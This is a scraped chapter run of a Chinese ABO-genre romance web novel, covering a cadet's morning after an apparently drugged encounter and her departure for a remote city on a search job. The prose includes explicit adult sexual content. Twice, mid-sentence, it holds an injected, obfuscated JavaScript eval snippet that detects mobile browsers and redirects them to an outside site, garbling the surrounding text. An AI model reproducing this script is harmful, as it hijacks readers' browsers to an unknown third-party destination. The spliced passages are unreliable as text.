《小池泷历险记【女A男O】》 1. 第 1 章 池泷睁开眼时,脑子里还一片混乱。 先看到的是一面极大的镜子,镜子里乌发黑眸的英俊女人脸庞呆滞、双目放空,刺眼的阳光铺在脸上,看上去不太聪明。 不禁眯眼,池泷下意识抬手想遮一下眼前刺目的光,却碰到一手滑腻。 “啧,手感真好”,忍不住多摸了几下,池泷突然感觉怀中多了一点重量。 镜子里一个亚麻色脑袋翻身埋进了黑发女人的怀里,翻身时扯动了身上的薄被,一个雪瓷般的人儿露了半边,这只通透生辉的瓷器,本应高贵无瑕,却因浑身青紫痕迹,意料之外地中和了它恬淡冷陌的气质,修长的腿熟稔地搭过来,意外发现底部有个牙印,只可能是当初制器师对其爱不释手留下的。 纯白浸染颜色,是大多数人心底不敢宣之于口的秘密。 池泷感觉到自己哪里不对劲,镜子里黑发女人盖着的薄被底下也慢慢鼓起一个大包。 自己眨了眨眼,一脸呆滞的黑发女人也眨了眨眼。 脑袋里突然闪过一些片段,炽热的粗喘、疯狂的亲吻、尖锐的虎牙刺破柔软的腺体、天花板镜子里雪白被仰面贯穿时紧绷的脚趾…… 她“哗”地一下坐起身来,怀里的人也跌落到柔软的床上,轻轻弹了一下,却没有醒。 天花板上怎么会有一面镜子,这是池泷的第一个想法。 被睡了,这是第二个。 “被”这个字,用得很巧妙。 因为作为一个S级的alpha,按照常理,过硬的身体和精神素质,只有睡别人的份,被睡确实极难。 但极难未必意味着不会发生。 仅存的记忆里只有昨天临时接到尹霄的信息通讯,里面附了一张电子邀请函,要自己抓紧来参加一个不知道干什么的晚宴,入会时自己找了尹霄很久也没找到,索性就喝了几杯的红酒,感觉有些头疼。 接着飘来一股不知道像什么、却十分好闻的味道,她感觉有些烦躁,随便扯住一个路过的侍者要他带自己找个客房休息一下,结果被引着往味道愈发浓郁的地方走,等迟钝地反应过来不对时,自己就断片了。 看着身边还在埋头熟睡的人,池泷愣了一会,颤巍巍地伸出手,轻轻抚开挡住脸庞的头发,是一张清俊的脸,微微弯曲的睫毛受到阳光的刺激正在轻轻颤抖,精巧的下巴上有一道L形的红痕,有些起皮的嘴唇微微张开,突然小舌从中伸出,轻舔了一下唇瓣。 手一抖,头发落回脸上,身边的人发出了不满的哼唧。 池泷知道这张脸平时就看上去很冷清。 虽然只能隔着光脑看到,但她也知道嘴唇本应该偏裸粉的,此时透着的粉嫩新鲜,结合嘴角处的暗红伤痕,应该是经历过一顿蹂躏的结果。 鼻梁挺立,几分纤巧,藏不住转动间无意流露的高耸锋利。柳眉弯弯,打眼应当温媚似水,放在冷白皮肤上,也带了料峭。 乍一看这人,像皑皑一捧雪,放在手里只会指间冰疼却难以融化。 唯独那双琥珀凤眼,尽管面对镜头透着一股冷峻,但顾盼流转,尤其晴朗无云时,池泷总觉得那眼底好像藏着什么格格不入的东西,像千里冰面铺着的抹抹暖阳,又像冷白宣纸上偷点的一片洒金。 不像大多数omega喜欢用各式各样的东西来装扮自己,何时都露出甜甜的微笑。他总是穿着冷淡简单,大多时候是黑白灰的正装或者半正装,哪怕露出微笑也让人觉得疏离。 身材比例绝佳,却经常素面朝天,头发就算被打理过也仍会带着几分随意,池泷曾经偷偷比量过,站着的话,他应该只到自己肩膀。 星网上常常有人说他“寡淡、冷漠,不够甜美、性感和贵气”。但池泷认为他本来就不应该是随波逐流的人,不符合主流审美而已,他就是他。 池泷到现在还能想起,初见时他清清泠泠,就像荒野地里开出了一朵纯白重瓣芍药。 林息——星联国际中央军校机械系专业第一,omega平权运动先锋者林凌衫之子。 更重要的,他极有可能是星联王室第三子的……未婚夫。 这样平日里难以够到的人,把自己睡了,或者说,自己和他睡了?! 郁闷和慌乱已经不足以表达池泷现下的心情,她想大吼,想打滚,想发疯,却怕惊醒旁边的人更加尴尬,只能轻轻地把自己被压住的手抽出,然后坐起,抱着脑袋。 不知道为什么会惹上这种事,自己二十多年遵纪守法、谨小慎微,也没有接触得罪过什么大人物,竟一朝面临睡了王室最佳儿媳人选之一、很可能被告上法庭的荒诞局面。 烦躁地抓抓头发,池泷“啧”了一声向后仰倒,后脑勺磕在床头传出一声沉闷的“咚”,吓得她赶紧看了一下旁边,幸好人没醒。 转转脑袋,池泷一点儿没觉得疼,只是心脏怦怦,连带着耳边都能传来清晰的心跳声,耳膜也随着一涨一涨。 看着他安安稳稳地躺在自己身边,池泷绝望地回忆了一下,记忆中那场完美契合的□□应该没出现过什么强迫和不情愿,而且从房间里的味道判断,信息素的交融是自然顺利的,她有点安心,还好自己没有下作到霸王硬上弓。 那又怎么样呢? 丝毫没被自己安慰到、反而随即就看到未来一片黑暗。 池泷哆嗦着手,给从刚才起好像有点受凉颤抖的人拉了拉被子,顺带遮住自己的“罪行”。 看着对方红肿的耳垂,她突然想起,现在就算睡了一个Omega,就算被提告,大概率法院也是会调解双方结婚,甚至一定情况下都不需要alpha负责,直接拍拍屁股走人就行。 心虚地瞥了一眼旁边,池泷看到腿边的一起一伏的亚麻色,接着快速收回了目光。 不不不不,人家怎能可能愿意跟自己结婚。 苦笑了一声,池泷想,反正已经是这样了,总不能叫他吃亏。 池泷尽力回想,希望能从记忆中找到断片后与这件匪夷所思的事相关的蛛丝马迹,越回忆,越觉得昨晚的事情怎么想都非常蹊跷。 但她直觉这件事应该不是针对自己的阴谋,用这样一个人大费周章地给自己做局,她自认还没这么大脸面。 回忆到那场甜蜜淋漓的标记,池泷有些脸红心跳,随即看了看不知道什么时候抱着自己腰正睡得香甜的人,心中十分感慨他心够大,在一个陌生人身边也能睡得如此安稳。 同时也想到,万一这件事真的是针对他有备而来,那么自己还是跟他说下昨晚经过,提个醒比较好。 就这样继续努力回想昨晚的细节,不知过了多久,腰上那个毛茸茸的东西忽然动了动,自己仍旧有些精神的地方被一只有些冰凉的小手抓住,清冷又低哑的声音带着几分好笑说:“一晚上也没能平复吗?” 猛然打了一个激灵,看向腰腹那里无赖躺着的人,被握住脆弱的感觉有些陌生,让她的眉头不禁轻轻皱起没说话。 倒是林息伸出一根手指,在布满神经的圆端轻轻一划,微凉指尖带来的刺激,让其瞬间变成了一只委委屈屈的蛞蝓。 可不敢让他再继续了。 池泷慌忙伸手托住好像正玩得兴起的恶劣鬼,慢慢起身,顺带将其扶正,轻敲了下林息的手腕穴位,抓着东西的小手立马被迫撒开。 拢了拢被子,她想裹住自己不争气的地方,却发现对方可怜的身体完全暴露在空气里,又把被子抻开,一半给了林息,一半盖住自己。 尽量忽略双方赤身裸体、自己“翘首以盼”的尴尬场面,池泷深呼吸了一口,清清紧绷的嗓子,毕竟自己作为“施暴方”,总不能让“受害者”的omega先开口谈后续处理的事吧。 “我们有必要谈谈。” 拿到被子的林息裹住自己,蜷起双腿,双臂抱住膝盖,脸颊靠在胳膊上并转向她,一副洗耳恭听的样子。 “首先,我必须道歉,对你做了……无礼的事。”池泷盘腿坐好,手放在心脏前,诚心诚意弯下腰朝林息行了一个军礼。 “但请你听我解释,昨晚我是被人带过来的,觉得不对劲时,就已经失去了意识”。又深呼吸了一下,池泷组织了语言,“我并不知道是怎么到的这个房间,也不知道房间里的人是你,无意识地跟你发生了关系,”她的脸有些红,舌尖舔了舔虎牙,勉强安慰道,“请别担心,是临时标记”。 林息轻轻笑了几声:“你的意思这完全是个意外?” “意外或许有些说不通,但似乎是有预谋的”。池泷停顿了一下,“只是我不成熟的推理,考虑到我是一个正在上大三的普通市民,而你的身份比较…复杂,这件事很有可能针对的是你”。 林息抬起脸,把下巴换到胳膊上,从侧面只能看到他的脸上似乎没什么发怒或者不耐烦的表情,头发稍稍遮掩的脖子上能看到微微凸起的腺体。 等了一会见他不说话,池泷摸不准他的心情,心不上不下地悬着,却也只能继续说:“在你醒来之前,我回想过很多遍,昨晚我喝了几杯酒有些头疼想休息,却记不起引路人的样子,再睁眼就是现在这样,最近并不是易感期,我受过训练,没理由几杯普通的酒就昏昏欲睡,酒里应该是放了什么,却没有特殊的味道”。 说到这,池泷想起喝酒后才闻到的那股好闻的气味,又改口:“也不排除是其他方面,但从表面来看,这确实是一场酒后乱xing的意外。” 林息好像还是没有要接话的意思,只是把脑袋往另一边偏了过去,脆弱的腺体这下全部暴露在池泷的眼前,不知道她昨晚中了什么邪,这块凸起的小软rou此时布满牙印,明显被人狠心地咬过许多遍。 明晃晃的谴责。 池泷暗暗唾弃了自己十分粗暴的行为,又被林息貌似不配合的态度弄得有些无措,但想了想他现在的处境应该比自己还不好受,还是得自己先支棱起来。 毕竟对自己来说,这件事虽然不算小却总不是传统意义上“吃亏”的那一方。但对林息来说,不论是不是真的有所预谋,被陌生人侵犯总归是难以忍受。 虽然刚才主要是为了道歉,顺带想为自己辩白,再提醒林息一下,但说的话听上去确实有点推卸责任的“渣”。 “还没自我介绍,我叫池泷,中央军校机甲战斗系,说起来我们还是同窗”。 听到这,一直没变过姿势的人才又转回头来,琥珀色的眼睛在太阳底下一片晶亮,看着黑色瞳孔里自己小小的缩影,池泷突然心软,声音忍不住温柔地解释:“说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564899|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些,并不是想拉什么关系,更不是要推脱侵犯的责任,只是把我能记住的事都尽量告诉你,也方便你日后有问题能找到我。” 又想到早起时看到的那身青紫,池泷嘴里阵阵发涩:“当然,如果这件事真的是因我而起,我愿意接受惩罚,甚至以死谢罪也是应该的。但事情没调查清楚之前,我实在不愿意不明不白地背上莫须有的罪名,因此想可耻地挣扎一下。我知道现在的法律,对你们已经不够公平,但我也自认清白,不愿意轻易背锅或者交付生命,因此,我会努力找寻证据,同时,提告的事,也拜托你多加考虑。” “无论事实如何,如果是配合调查或者要求赔偿,哪怕超出我力所能及的范围,我也会尽快、尽力满足”,说完这些话,池泷又有些害怕对方觉得自己还是想逃脱罪责,又补了一句:“我不会跑。这种事情,无论怎样,我造成的伤害是既定的,因此不管最终你的决定是什么,我都接受。如果最终没有任何实质性证据能证明我的清白,我也可以接受法律制裁。” 看着那双阳光底下果然粼粼的眼眸,池泷发现这双眼睛比光脑里见到的还要漂亮。她真诚地解释:“我只是不想背上不确定的罪名,而不是想逃避造成伤害的责罚。” “你放心,这件事我也会从头到尾完全保密。” 提出解决方法、做出真心承诺,做完这些,池泷坐得更端正了一点,双眼不错地盯着林息,等待他的意见。 “但从头到尾,也没想过要对我负责呢。”明明面对着的是张没什么表情的脸庞,池泷却意外感觉到林息话里的讥诮。 她用力地搓搓脸,虽然不知道为什么说了这么多,林息的关注点竟然在这种奇怪的方面,但毕竟能跟林息如此面对面的情况可能仅此一次,她想了想还是说了真心话,“刚才也不是没有这么想过”,池泷不好意思地扣扣脸,“但人贵有自知之明,三殿下珠玉在前,我实在没必要不自量力”。 然后池泷手放在心脏前,再次弯下腰朝林息行了一个军礼,“为我昨晚的粗鲁道歉,”她看着林息,又黑又细的眉毛弯起,让整张英俊的脸看上去温和了不少,“以防万一,现在我先去买点食物和药,麻烦你稍等一下”。接着池泷起身,背对着床上坐着的人开始在凌乱的地上翻找自己的衣服。 “不用,你直接走吧。”林息随意的声音从身后传来。 池泷不可置信地回头,看着不知何时又重新躺倒、用手背挡住眼睛的林息。 因为躺下,薄被有些散开,只盖住林息的腰腹,两朵粉色小花在空气中颤颤巍巍地绽放、周围全是紫红的手指印迹,右边的明显被狠狠摧残过,可怜的顶端有轻微的破皮,显得格外妖冶。 她不敢再看,赶紧转头慌乱地说道:“可是,昨晚我也没做什么措施……而且你现在也没人照顾……” “不需要你操心。”不知道是不是错觉,池泷从这句话里听出了几分赌气,她还想再说些什么,却听林息又接了一句:“我会联系家里人,但不想你被他们知道。” “哦……那好吧。”池泷心里有些发闷,也是,谁会想一直看着罪魁祸首在自己眼前晃悠呢,而且如果是林家来人,自己也确实没什么必要在这儿。 捡起自己的衣服穿上、戴上光脑,又将地上林息的衣服收拢一起放进床边的沙发里,池泷背对着床说了一声“抱歉,那我……走了,如果有事随时联系。” 等了一会儿,听到轻轻的一声“嗯”,她才目不斜视、蹑手蹑脚地往门口走去,途中发现虽然房间的整体格调是淡雅清爽的米白欧风,但天花板上的镜子显示着这个房间应该并非像看上去那么单纯。 走到门口,手刚放到把手上,忽然听到身后传来低哑得有些勾人的声音:“昨晚很舒服”。池泷脸一下涨得通红,立马开门走了出去,不料门外站着一个人,被吓了一跳。 对方戴着一副金边眼镜,镜框上吊着的同色金属细链一直到肩膀,搭在真丝米白衬衣上,一条剪裁合体的雅灰西裤,皮质手提包和铮亮的皮鞋一看就价格不菲。灰青色短发修剪得规整有序,连耳边的鬓发都十分服帖。 或许是因为紧张,或许是因为对方背后不远处的窗户导致他有些背光,池泷看不清镜片后面的眸子。 一个alpha。 这让她多少有些不爽,不善地打量着这个不知道在门口站了多久的男人。 “十分稀少的墨发,连虹膜也是漂亮的黑色”,对方嗓音和煦,叫人听着似乎心中都被抚慰了几分。察觉到她不爽的目光,他嘴角勾起让人舒适的弧度,轻声细语地解释:“私人医生。” 听他说完,池泷不知道为什么难以抑制地心里发毛。同时也意识到她现在估计是临时标记导致的占有欲作祟。 不想去思考自己奇怪的警惕及为什么林家怎么这么快就派过来一个医生,还是一个alpha医生,她赶紧收收念头,准备寻找出口。 此时这位先生仿佛知道她的心思一样,用手指了指身后的方向,温声道:“下楼的楼梯在那边”。 池泷朝他点了下头表示感谢,慌忙朝那个方向走去,楼梯下到一半时,她才回过神来:自己刚才,是不是被调戏了? 可林息忽冷忽热的态度,她又不能十分确定。 2. 第 2 章 从宴会场地出来,池泷先用光脑给尹霄拨了一个通讯过去,显示无人接听。眉头皱起,最近是暑假,也没听尹霄说最近又接了什么活,不应该不接电话。她只好叫了一个智能出租飞艇,准备去尹霄家看看。 等待的过程中,身后忽然吹过一阵冷风,池泷下意识回头看了看宴会大厅。 下楼时,大厅早已被清理得空无一物,锃亮的地板都能看到自己模糊的倒影。整栋建筑里空无一人,连清洁和安保人员都没有,走在里头,池泷能清晰地听见自己的脚步声。 好在建筑只有两层,下到一楼,池泷很轻易就找到了厅门离开。 此时被拉开的大门尚未关闭,青天白日的,像一只黑洞洞的大口,要吞噬些什么的样子。 鸡皮疙瘩起了一身,池泷直觉想赶紧离开这个地方。 正好飞艇到达,“欢迎使用星际出行”的机械化女声唤回了她愈发负面的想象,抓紧钻入飞艇,输入尹霄家的地址,飞艇按导航飞去。 临走时池泷瞥了一眼这个外观普通的双层圆顶建筑,外表看来和普通的富人别墅并无二样。 自醒来开始接连不断的意外和持续性的高度紧张,直到独自一人时,池泷才回过神,自己只给了名字,却没有给林息光脑号,那他要怎么联系自己? 不过随后她想了一下,以林家的势力,只会把自己的底扒得干干净净,不可能存在联系不上的情况。 疲惫这才涌上来。池泷放平座椅,准备在路上休息一会儿。 等再次被机械化女声叫醒时,池泷已经睡了安稳又舒适的一觉。拿光脑付过款,下车快步走向这座熟悉的白色花园洋房,这是尹家给自家小少爷购置的独立住房,也是池泷所在小队的校外基地,平日里除了小队的人,基本不会有人过来。 “咚咚咚咚”,毫不留情地锤着房门。不多时,伴着窸窸窣窣的脚步声,一个灰发的小个子穿着一件粉色天丝吊带睡裙打开门出现,头发睡得蓬蓬,却显得小巧的五官更加精致可爱,睡眼惺忪但声音依旧甜美地说:“谁啊?大早上扰人清梦真的很没礼貌哦”。 池泷冷笑一声,望着眼前找了一晚的“罪魁祸首”,只觉得牙根痒痒。她单手摁住门缝里的脑袋,将人向门内推去,一直推到沙发坐下。 看着一脸睡痕,一看就做了整晚好梦的尹霄,她板起脸,假装气不打一处来,没好气地说:“你昨晚叫我江湖救急,自己倒是呼呼大睡,良心不痛吗?” 尹霄漂亮的翠绿色眼睛一片茫然:“什么?救急?昨晚有什么突发情况吗?” 拿出光脑,池泷调出与他的聊天记录,“看到没尹少爷,你昨天半夜叫我去海城路222号参加什么晚宴当你的女伴,你也知道我有多讨厌这种场合,为了你也去了,现在翻脸不认人,别以为是O我就不敢动手敲你。” 仔细地看了一会,尹霄十分肯定,这确实是自己账号发的“救急信”,后面还相应地跟上四个感叹号,完全符合自己强迫症一样的聊天习惯。 “看账号是我没错,但我不至于记性这么差啊,昨晚确实没找过你”,他难以置信的表情让池泷忍不住皱起了眉头。 看着池泷半信半疑的脸,尹霄大叫道“我有证人的”,随后用手指了指聊天时间,“这个点我正在用光脑和阿簇视频通讯”。随即去房间翻找自己的光脑 池泷知道尹霄和白簇这对小情侣实在黏糊,假期白簇去月轨1线附近出差,几天不见聊到半夜也情有可原。其实她醒来后,自始至终都没怀疑过这件事跟尹霄有关,虽然小少爷平日里吆喝“和其他人睡个觉又不犯法”,可他也明白自己对这种事有多重视,绝不可能不会轻易搞这种恶作剧,更何况,另一位的还是那样的身份。 她就是有点慌张,但秘密又只能憋在心里,总归这件事跟尹霄还有些关系,就想旁敲侧击地套路好友帮自己调查,池泷心虚地搓搓手指“如果不是你,那这是怎么回事?” 此时尹霄正低头拿着自己的光脑往客厅走,池泷训了一句:“哎,走路看光脑,摔倒怎么办!”对方抬头翻了个大白眼,却也没再继续看,走到跟前,一屁股坐在地毯上。“喏,你看我俩的聊天。” 接着拿过她的光脑,摁了几下,随即将其链接到桌子上的智能电脑。 看了看池泷少的可怜的联系人,竟然连群聊都只有一个学校通知群,独来独往的不像星际人,他忍不住嘲笑“真是搞不懂,平时一板一眼,连个家人同学以外的联系人都没有,社交少得可怜,还能有人处心积虑地骗你去参加晚宴”。 熟练地操作着电脑,尹霄小嘴依旧不停地说:“你知道海城路222号是什么地方吗,前任皇后的遗产,仿照古星时期圆顶琉璃寺庙建造的别墅,你知道的,地球作为我们的古星,灭亡后留下的建筑资料少之又少,其中这份就被陛下拷贝给了前任皇后,作为离婚的补偿,现在作为礼物赠送给了大殿下。那个地方别说尹家,就是一流新贵无邀请都不得入内,你真的确定昨晚去过吗?不会是长久宅家产生幻觉了吧。” 接过尹霄的光脑,池泷并未去看他和白簇的聊天记录,小情侣的聊天记录万一有什么非礼勿视的内容就不好了。 她起身给自己和尹霄各倒了一杯温水,听见尹霄的话,池泷想,要不是后背的抓痕还有些细痒,连她也觉得昨夜的热闹和荒唐更像是一场光怪陆离的梦。 “不可能”,池泷抿了一口水,“昨晚的事我记得很清楚,等到很晚,又到处溜达,到最后实在没找到你,天快亮才离开”。 “确实不可能”,尹霄一脸假笑地转过身,“光脑上根本找不到漏洞和后门,星网上也没留下除了这条记录以外的任何痕迹,邀请函上没有主题只有一个地址,显示被使用的时间确实是昨晚,定位也确实在那座别墅。综上所述,你说的没错,确实是‘我’昨天半夜用光脑联系你去别墅里搞派对”。 “我”字被尹霄狠狠加重。 把脑袋搁在沙发上,尹霄笑得愈发甜美,“但最重要的是,池姐你一进门我就闻到一股崖柏的香气,很高级的气味哦,留香到现在都没消失,你平日怎么舍得喷这么贵的香水啊。” 他直起身子,手指杵在嘴角,“难道是参加宴会沾上的?你不会是迟钝到结交了什么大人物却不自知吧,这不会错失什么珍贵的机会吗?” 机会是没见到,惊吓倒是一大堆,池泷面无表情地将光脑拿回,“那我先回学校,麻烦你有空再继续追踪。” “知道啦,跟我还这么客气,被骗又被放鸽子,我们池姐真的好可怜哦”,尹霄笑着摆摆手,“你也不要压力太大啦,假期还有一个多月,跟白簇一样出去散散心多好,整天呆在学校里真的会闷坏哦”。 随意点点头,池泷不再多留。看这手眼通天的样子,她心中愈发肯定这是针对林息的什么阴谋,自己在这件事中估计只是一个无辜的炮灰。 不过再炮灰,对林息做的那些事是板上钉钉的,即使林息看上去不是很在意地让自己离开,并且林家也派了人来接应,但对他会产生什么样的影响池泷心里也没数。 可自己也是被波及的那一方,如果突然间一顶犯罪的帽子扣下来,池泷也不服气,她可以充分配合林家的调查和赔偿,如果成为被告,她也只能在尽量不伤害林息的范围内进行解释和对抗。 有很多学生假期因为各种原因不回家或者回不了家,因此,中央军校宿舍是假期开放的,宿舍是双人间,除了有客厅、厨房、卫生间之外,每个人的房间是独立并且配备联网密码锁的,密码由学员自行设置。 回到宿舍,池泷瘫在沙发上,明明耗神耗力,但几近中午,她一点没觉得饿。毕竟三年多的风平浪静被一朝打破,池泷只觉得自己正站在深崖边上岌岌可危。 她起身去房间床头矮柜里找出一只红色的光脑,军校要求每一名学员在入学时必须登记光脑置于监控下,但池泷的有些兼职不太适合用登记过的那只,只好攒钱买了新的。 特地拜托尹霄不经过校园网,将新光脑直接与星网链接,同时用覆盖了伪装溯源,就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564900|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被人从网上查到,也无法追寻到源地址,只能定位在郊区的一座废屋。 这只光脑上的联系人更少,只有自己在黑市的兼职中介朴人间,和经常一起兼职的小队成员白簇、尹霄,池泷点开朴人间的对话框,打字:“朴哥,最近有适合单人接手的活儿吗?” 很快对方发来回复,“又要给机甲添东西了吗,小池,要我说你就应该和小白一样出去玩玩,或者交个beta、omega,活着只知道训练和赚钱都对不起你的脸和身材。” 池泷没回复,没过多久对面的人又说“我手里个人的单子不多,假期嘛,军校生都分散各地,犯罪率好像也降了不少,倒是最近刚有个乔城的单子,听别人说快两年了都没人解决,价格不错,就是距离较远。” “做什么的。” “不脏不坏不违法,去乔城帮一个叫娑利姌的老人找‘乔丽’。” “找人?” “不知道,求助人没说。” “为什么不直接求助警方?” “你也知道乔城,又远又偏,气候也不太好,现在基本就剩下一些老弱病残的原住民,警力肯定也不足。求助人说他也只是在乔城转站的时候看到这位老人,好心帮她发了悬赏,老人说愿意出5W星币,估计是很重要的人吧。” 池泷想了想,答应:“好。” “反正飞船票什么的也不贵,运气好调查顺利的话,说不定假期结束前就能回来,记得来找我喝一杯哟。” “谢谢哥。” 回完后池泷关上聊天界面,订好明日从中央星到乔城的车票,拿出背包收拾了几件衣服,带上装备和红色光脑。 收拾完池泷再次出门。可能因为接了单子,接触到熟悉的工作,让她多少有点心安后,她才感觉到饿,准备出门买菜。 虽然随处可见的售卖机里有便利顶饱的营养液,但可能是骨子里的一种习惯,池泷还是更偏向热饭热汤。 她自己会做饭,而且手艺不错,但也只有偶尔心情好时下下厨。大多时间都是由家政机器人按食谱制作,味道中规中矩,懒得动手的她光吃不做,也不会挑拣什么。 前几天尹霄说要升级,把宿舍和洋房的家政机器人不知道送到哪里去了,所以暂时想吃饭还只能自己做。 路上池泷思考着寻人寻物的流程,以前她也不是没接过找寻的活儿,但基本就是周边地区找找藏在犄角旮旯里的宠物,或者帮星警抓一些小偷小摸的通缉犯。 寻物的经验也有,但像这次目标不明确的任务还是第一次,顺利还行,如果不顺利到期没找着,那就等于是赔了夫人又折兵。 尽管自己要付出的成本相对较低,但5W星币用一个月去偏远地区找一个不知道是什么的目标,这个单子的性价比着实一般,难怪放在朴人间手里许久也没人接。 毕竟5W星币连给机甲补个漆都不够。 但池泷突然忙着兼职的初衷是万一林家不愿意谅解或者索要赔偿,自己失去自由之前还能给擎叔存点钱用,因此池泷一开始还有点犹豫要不要接受这个不划算的单子。 但随即想到一个老人家,如果不是走投无路,或许不会一直在车站等待那个‘乔丽’,而且乔城的荒芜星际人都略有耳闻,在这个早已被时代抛弃的地方,这些星币对那位老人来说可能是一笔巨款。 这让她想起擎叔,小时候自己被他解救并收养,他从未嫌过累赘和麻烦,顶着乡下的流言蜚语,尽力送自己去镇上最好的学校,上军校前每周末从学校返家,他都会微笑地在车站等她,明明车厢一年四季调温恒温,冬天也总会给自己带满满一保温杯的热水,而自己都冻得发抖也舍不得喝一口。 “如果遇到困难,希望也会有好心人代替不在身边的我们帮一下他。”出于这样一种心情,池泷接下了这个单子。 “尽人事,听天命。”买了菜以后,池泷乐观地想,“总之尽力帮这个老人家找找,找到皆大欢喜,找不到也问心无愧,权当听尹霄他们的话出门去旅游了。” 3. 第 3 章 星联国际建立以前,人类曾经历过百年战争。 战争开始前,人类为了应对古星灭亡的危机,开始分化出两层性别:第一层为alpha、beta、omega;第二层为男、女。 分化前的惴惴不安、分化时的不稳定危险、分化后能力的不确定,让整个古星都陷入恐慌。新人类还未搞清楚这种新出现的状况时,紧接着外星物种突然的入侵,让脆弱的“新人类”种族直接面临灭绝。 那时的人类种族像洞穴塌陷却找不到出路的蚂蚁,东一头西一头地盲目寻找解决办法,但毫无建树,没过多久大多数人都悲观地认为“要接受残酷的自然选择”。 就在这时,托亚家族横空出世,这个不属于古星老牌掌权者圈层的新生家族提出“消除边界、统一战线、性别分离”的政策,要求将所有人类及资源统一部署整合以应对现在的入侵和未来的战争。 危机面前,各国掌权者决定无国界、无保密、无小我,成立“星际指挥部”,统一推举从以前起就有“好战”名声的托亚家族成为“指挥者”。 无人知道那百年经历了什么样的苦痛,连幸存者和史书都讳莫如深。 但所有人都知道,百年后战争结束,外星物种消失,古星毁灭,新人类重新定居中央星,星联国际成立,此时是星际01年,托亚家族一跃成为王室,老牌贵族们也开始重新掌权,成立军部。 无论权力结构怎么变化,对于普通人来说,战争的影响仍旧难以消除。战后,大多数人开始反思战时政策的适应性,要求人权回归。 尤其性别分离政策,是后来一直争议的焦点。它将所有人单纯地以第一层性别划分,alpha浴火战场,beta保障后勤,omega掌握繁衍,“人”被视为一种资源,和一包军粮、一件军衣没有太多区别,哪怕贵族也是这样。 重新掌权的老牌贵族不太在意这些,或许在他们眼中,普通人确实和物资没有什么区别。反而王室顺应民意,顶住各方压力,相继颁布和推行了诸多政策。 为后来陆陆续续几十年间,王室逐渐吞噬各种贵族圈层,在星联国际中建立群众基础、逐渐拥有绝对权力奠定了良好的基础。 于是战后至今86年的时间里,新人类基本找回了为人的尊严。只是三种性别在权利上仍有些不对等,王室和军部都更偏向于alpha各方面的培养,部分beta也能参与,但omega却仍未完全摆脱政策影响,林家家主林凌杉就是omega,以他为代表、以林息为后继,为omega平权正努力着。 但中央星远不如古星物产丰沛,生存环境和古星也差异较大,尤其百年征战导致许多来自古星的技能技术断层绝代,新人类难以在摇摇欲坠的原有基础上进行大层面的改革提升,尽管技术相对于以前仍旧有了长足进步,但更加有限的资源也依旧面临无限人类欲望的挑战。 无奈之下,战后军部开始执行“新星探索”计划,征召全民,主要以军校生为主,外出探索新的资源和居住地,略有成效但效果不显,只能堪堪维持大多数人的生活,这无疑是一场新的生存战争,但至少带给了新人类勇气。 军校生也因此开始变成“人类希望”一般的存在,军部也逐渐脱离老牌贵族的掌控,成为权利的第三方。 毕竟,古星有言:三角形具有稳定性。 除此之外,科学院发现并开始主持建设月轨项目,这是星联国际在星际20年开始的第一个民用交通项目,以中央星为中心,连接起约10万光年范围内几乎所有的星球。 它共有六条主干线,分别朝向六个不同方向,几乎将整个以中央星为圆心、10万光年为半径的圆划分为几近均等的六部分,以古星时钟的12点方向为起点,顺时针将其命名为1到6号。整个工程历经26年,于星际46年建成,到现在已有40年的历史。 后续星际人在其基础上建造了数不胜数的分线,最终形成一巨大的网,使星球间的联系愈发紧密便利,因为其利用率极高,星联人经常会按距离最近的某条干线说明地址:“月轨几线的某某城市”。 它对新人类来说具有极其重要的地位,只是因为铺设这张大网所用的特殊引路金属,使得轨道上的列车无需人工或者人工智能的辅助,自己就能按照规定的方向无燃料全天运行,而金属本身极为坚硬,结构稳固,磨损极小,估计就算天天运行,也能用上个好几百年,极大地节省了资源消耗。 而这种金属就来自池泷第二天前往的乔城。 乔城就位于月轨3线附近,这是一座古老的城市,是唯一一个军部探索时发现的、有自身原住民的星球,在被发现后,通过医学手段,确认这些原住民应该是百年战争时不知因为什么原因流落在此、繁衍生息的新人类。 有了原住民的帮助,月轨项目的建设脚步更加迅速,那时乔城全是冶炼锻造的工厂,每一位乔城alpha都参与过月轨项目的建造。在星联的图书馆里,人们还能找到几张最初建造月轨项目时它热火朝天的留影。 可以说月轨始于乔城。 以上都是池泷在光脑上提前调查时看到的。不知道为什么,星网上对乔城的记录说不上少却也不算很多,大多数都是翻来覆去地重复几乎一样的内容。 “或许就是太偏远了”,池泷想,人们渴望便利幸福生活的天性使得几乎所有人都追逐着离央星更近的地方,逐渐就会忘记在遥远过去的遥远地方也曾有一个小城繁荣过。 坐了许久的车终于到达乔城车站,哪怕是假期,也只有池泷自己下车。 背着一个小背包的池泷孤零零地目送着列车慢慢启动离开,才往出站口走去,奇怪的是,月台上有繁多的、不知道怎么造成的、黑黢黢的大小划痕。 虽然对乔城的荒芜破旧略有耳闻,但亲眼见到时,池泷还是挺震惊。 墙壁上到处都是瓷砖掉落的空坑,和月台一样到处都是奇怪划痕的内部地面,各种导向标记牌还是手写悬挂的,相对于早已用人工金属改造的其他智能化车站,乔城的车站用“又旧又破”来形容都有些不足。 唯独能叫人觉得安慰的是,虽然破,但有些空坑已经被人用水泥抹平弥补得十分平滑,丑陋的地面也清扫得干干净净,标志牌的字也写得端正笔挺。 